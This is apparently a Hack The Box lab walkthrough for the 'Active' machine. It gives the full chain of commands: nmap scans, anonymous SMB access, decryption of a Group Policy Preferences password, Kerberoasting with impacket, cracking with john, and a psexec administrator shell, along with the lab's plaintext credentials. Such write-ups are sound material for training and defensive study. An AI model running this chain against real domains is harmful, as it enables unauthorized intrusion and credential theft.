Active

Enumeration

As always, we start with the enumeration phase, in which we try to scan the machine looking for open ports and finding out services and versions of those opened ports.

The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:

nmap -sS --min-rate 5000 -p- -T5 -Pn -n 10.10.10.100 -oN allPorts

  • -sS use the TCP SYN scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.

  • --min-rate 5000 nmap will try to keep the sending rate at or above 5000 packets per second.

  • -p- scanning the entire port range, from 1 to 65535.

  • -T5 insane mode, it is the fastest mode of the nmap time template.

  • -Pn assume the host is online.

  • -n scan without reverse DNS resolution.

  • -oN save the scan result into a file, in this case the allports file.

Now that we know which ports are open, let's try to obtain the services and versions running on these ports. The following command will scan these ports more in depth and save the result into a file:

nmap -sC -sV -p53,88,135,139,389,445,464,593,636,3268,3269,5722,9389,47001,49152,49153,49154,49155,49157,49158,49165,49168,49169 10.10.10.100 -oN targeted

  • -sC performs the scan using the default set of scripts.

  • -sV enables version detection.

  • -oN save the scan result into file, in this case the targeted file.

First, let's add the domain active.htb to the /etc/hosts file.

Let's try to list the SMB shares.

smbclient -L 10.10.10.100 -N

  • -L get a list of shares available on the host.

  • -N makes use of a null session, don't ask for password.

Exploitation

We could see what's inside the Replication share. Inside it, we'll see the active.htb directory.

smbclient \\\\10.10.10.100\\Replication -N

  • -N makes use of a null session, don't ask for password.

Inside this share, you'll find the \active.htb\Policies{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\Groups.xml file.

get Groups.xml

This file contains a user, and an encrypted password.

cat Groups.xml

The cpassword key contains an encrypted password which can be decrypted with the gpg-decrypt tool.

gpp-decrypt "edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ"

Now we could test these credentials with crackmapexec.

crackmapexec smb 10.10.10.100 -u "SVC_TGS" -p "GPPstillStandingStrong2k18"

  • -u username.

  • -p password.

Privilege Escalation

And those credentials are valid. At this point, we could try to do a Kerberoasting attack. Let's try to do it with the impacket tool called GetUserSPNs.

impacket-GetUserSPNs active.htb/SVC_TGS:GPPstillStandingStrong2k18 -request

  • -request requests TGS for users and output them.

Now, let's put that TGS of the Administrator user on a file called hash, and break it with john.

john --wordlist=/usr/share/wordlists/rockyou.txt hash

And we get the Ticketmaster1968 password for the administrator user. Now, all we have to do is get a shell with the psexec tool, and reap the harvest and take both the user and root flags.

impacket-psexec active.htb/administrator:Ticketmaster1968@10.10.10.100

Last updated

Was this helpful?